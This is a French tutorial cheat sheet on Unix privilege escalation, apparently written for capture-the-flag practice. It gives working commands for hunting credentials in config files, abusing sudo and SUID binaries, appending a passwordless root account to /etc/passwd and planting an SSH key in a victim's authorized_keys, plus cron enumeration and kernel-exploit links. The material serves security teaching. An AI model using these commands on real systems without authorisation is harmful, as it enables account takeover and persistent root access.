Elevation de Privilege - Unix

Pour obtenir une élévation de privilège, nous allons faire un inventaire exhaustif de ce qu'il a sur le serveur.

  • Lire tous les fichiers de config, temporaires, backup pour trouver des login/password.
  • Utiliser les éventuels droits sudo du compte.
  • Trouver une commande avec sticky bit.
  • Trouver un process qui tourne en tache de fond avec des droits root et modifier ses inputs.
  • Trouver un exploit kernel. Cette dernière option est rarement celle visée, mais ça marche sur les vieux serveurs...

Des scripts font ces énumérations pour nous. Ils sont utiles une fois que l'on sait ce que l'on cherche.

Fichiers contenant des informations

Rechercher les fichiers lisibles dans les autres comptes.

find /home -readable -type f  \( -iname \*.txt -o -iname \*.cfg \) 2>/dev/null
find /home -E . -regex '.*\.(txt|cfg)' 2>/dev/null

Le fichier de config s'appelle:

wp-config.php

Pour le chercher:

find /var -name wp-config.php 2>/dev/null

Ce fichier contient les login/password pour se connecter à la base de donnée.

Le fichier de config peut porter deux noms:

    httpd.conf
apache2.conf

On le trouve généralement dans un des répertoires:

    /etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf

Le fichier de config porte le nom:

    server.xml

Les mots de passe des utilisateurs se trouvent dans:

    tomcat-users.xml

On trouve généralement ces fichiers dans un des répertoires:

    TOMCAT-HOME/conf/
/usr/local/tomcat/conf/

Sudo

Sudo permet de lancer des commandes en tant qu'un autre utilisateur.

sudo -l
L'utilisateur user1 peut utiliser les commandes suivantes sur target-host :
    (ALL) NOPASSWD: /usr/bin/find
    user2 NOPASSWD: /usr/bin/python3 /home/user2/run.py

Il est alors possible de lancer des commandes en tant que root ou un autre utilisateur avec le flag -u xxx

 
sudo /usr/bin/find
sudo -u user2 /usr/bin/python3  /home/user2/run.py

Si l'option NOPASSWD n'est pas définie, laa commande sudo demande le mot de passe du compte courant.
Si vous être entré par un webshell, ou une connection ssh avec clef privée, il faudra se débrouiller pour connaitre le mot de passe.

Sticky bit

Identifier les process possédant un sticky bit

find / -perm -4000 -exec ls -al {} \; 2>/dev/null

Que faire avec un binaire possédant un sticky bit ?

- Lancer un shell
- Lire un flag
- Copier un fichier
- Ajouter une ligne à un fichier : /etc/sudoers, /etc/passwd, ~/.ssh/authorized_keys

De nombreux process permettent de lancer un shell. Idéal s'ils sont en sudo ou avec un sticky bit.

find
nmap
vi
less
awk
tee...

Reference: https://gtfobins.github.io/

Si une commande avec les droits root permet d'ajouter une ligne: ex: tee

echo XXMONCOMPTEADMINPERSO::0:0:::/bin/bash | sudo tee -a /etc/passwd 
su XXMONCOMPTEADMINPERSO 

Si une commande avec les droits root permet d'ajouter une ligne: ex: tee

echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' | sudo tee -a /home/victim/.ssh/authorized_keys
ssh -i id_rsa victim@iptarget

Exploitation de process

ps

Identifier les process lancés par root

ps eaxf

Identifier les taches lancées par cron.

cat /etc/cron.d/*
cat /var/spool/cron/*
crontab -l
cat /etc/crontab
cat /etc/cron.(time)
systemctl list-timers

Identifier les process qui tournent régulièrement en tache de fond.

https://github.com/DominicBreuker/pspy

Kernel exploit

Version de la distribution:

cat /etc/issue
Ubuntu 18.04.3 LTS 

Version du kernel: 5.0.0-37-generic

uname -a
Linux yoloctf-server 5.0.0-37-generic #40~18.04.1-Ubuntu SMP Thu Nov 14 12:06:39 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Une fois la version du kernel connue, il est possible de chercher un Exploit Kernel
https://github.com/SecWiki/linux-kernel-exploits
Ne jamais lancer un binaire !
Toujours récupérer les sources, les lire et les compiler...

Scripts d'énumération

Des scripts font une énumération complete.
Il faut les tester et trouver celui qui a le format de sortie qui convient le mieux.

LinEnum.sh : https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
linuxprivchecker.py : https://github.com/sleventyeleven/linuxprivchecker
unixprivesc.sh : https://github.com/pentestmonkey/unix-privesc-check
lse.sh : https://github.com/diego-treitos/linux-smart-enumeration
linPeass : https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite